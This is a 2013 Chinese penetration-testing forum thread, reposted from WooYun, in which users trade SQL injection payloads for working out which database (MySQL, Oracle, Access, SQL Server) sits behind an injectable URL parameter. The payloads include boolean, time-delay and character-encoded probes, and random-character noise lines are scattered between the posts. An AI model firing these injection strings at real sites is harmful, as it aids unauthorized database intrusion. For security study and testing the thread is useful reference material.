中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
4 e# t9 ` s$ j9 U2 s4 J' k! v
xsser (十根阳具有长短!!) | 2013-02-05 12:36
" t1 a/ E" |; h2 |) q2 a
假设这么一个注射点:
& _4 f4 P+ U) N/ s
show.html?id=2
4 D: b+ {* N9 i% Q0 [; n- A2 z* h# T
mysql:id=2 and version()>0
" M, h `& \, J! @4 @
oracle:id=2 and '1'||'1'='11
# c( J& B" O+ p+ k; G' x7 y
其他的欢迎补充
1 }! B% G0 P- I4 B0 K$ ~
1#
4 X4 F% K- k" |. Y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
$ t @6 P/ a+ `7 v" n) ?& |
Access:
. P% t) A, {- L; q0 u. m; c# C! i
aNd aSc(cHr(97))=97
% V* B( M( h$ N
and exists(select id from MSysAccessObjects)
0 }9 N, n: k! {9 N% Z* S
SQL Server:
# g9 \0 ?5 x* M) g) T8 h
and exists(select id from sysobjects)
1 Q3 f7 h5 R- @4 I; h5 ]
and length(user)>0
! s K0 N) C0 B8 V t b+ {- q& t
MySQL:
5 j5 j: R! V# X7 U- h2 I! G
and length(user())>0
: z) c( @3 d9 s. M
2#
' c6 o! n n2 s# A r) I; V
xsser (十根阳具有长短!!) | 2013-02-05 12:48
+ |. Q' ~* i! j7 O, M0 {
@upload 如果这些都不是呢…
/ ?$ A# M; i, M/ ^; c
3#
- c% a5 s; W- _/ K
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
7 J L5 C+ r( r) b
@xsser 不快速的,延时注入
& b$ U7 B3 L; \3 p" W9 F. h& b
不知道这样写对不对
8 Q$ k% S' w! k }0 I. J5 g0 G& C
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
8 j e& M5 Z0 k0 |' x: I9 Z
mysql:id=2 and select benchmark(1e8,current_date());
2 ^) h/ Y) N% i# @
4#
# e' _) x9 F8 Y8 |4 t2 s' B: ]
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
, w2 Z5 q q8 }6 w3 B
最快的貌似是看报错信息
5 ^6 o! z! o8 R& S3 u6 m& d9 \; w
oracle error
5 L- b' S) r( L
mssql error
& r: R. @* c! j
mysql error
, ~+ a. L) e5 w( B O2 m5 `* J
5#
0 q9 |$ q6 M8 B6 T$ j. A) J$ N
Nimda (你们都是坏银~) | 2013-02-05 13:14
% k( L3 H2 G5 J$ H7 l. X+ x
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
* E* v5 s" L" t; ?
6#
5 j" L$ d" W# c& ~, m) g
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
& H+ s7 [" D. H U
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
4 h; m8 y9 y* f
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
2 s9 j( E- O+ D' r* H( L- K# P" x
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
# @/ X9 m& b8 l' Z
7#
; Y0 a; M; t: x% A0 P: N
_Evil (HackEnd) | 2013-02-05 13:33
: o/ I; E' f0 V. f8 ?/ ]
PostgreSQL
: F! R: w, v0 k7 @0 q
8#
* D" y/ _/ @& t/ C2 }
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
: j- d& b* D, K; v& O0 b# @& Z, p* j
切换编码 and 1=1
" o) y/ M' u- W" d$ z" P
oracle:
1 w& R6 r" v- T, r/ L1 d
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
, H7 k( {' u0 b' U
mssql:
1 H, D x4 L6 j( o
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
( t: A& w3 R8 B
mysql:
$ u, p+ o; y, S+ \* ?, C$ F- s6 ]3 a
CHAR(97, 110, 100, 32, 49, 61, 49)
4 G" u+ @# i6 V D
9#
3 H+ a( h7 Y5 d: L
xsser (十根阳具有长短!!) | 2013-02-05 14:31
: j& Z8 v b1 ]6 Y" K, Y
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
1 | q5 c( [& a0 x% ^
10#
7 ?7 o* Y7 s0 }, ^
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
- G9 n' e% R- D8 q9 u
@xsser 是奇葩数据库类型的么?
k- \! n7 Z8 K* X Q% U* [: m, b9 C
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
! V) F6 K& ^! W7 J1 K6 Y
1.是否可以使用特定的函数来判断,该数据库特有的
+ X/ n: l; _* @: c$ ?! d* p
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
. A4 ]% z2 ^$ F5 a8 A1 r2 a
3.是否可以编码查询
+ v! A2 L% ?5 g D' b0 o
4.是否显可以利用错信息
, E J$ J+ z8 E& P* F7 G% ]
5.是否存在数据库某些特性辅助判断
' D, J4 P# S* F1 u- U S
个人见解
" z8 M. p* N# ^$ ~! N% W
11#
! u( r O# k; Y' k
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
0 i3 t4 Y2 R9 ^2 w- B3 ]
已收藏,mssql可以直接看到错误提示的吧~
5 v6 h9 H- o& K/ I( v; e
12#
5 }" V& g( b- ?5 r' w! |
Passer_by | 2013-02-05 15:09
' x* ~1 d0 W" ?& n. |7 w, j
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
0 T; @& A/ H. W# r$ l
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2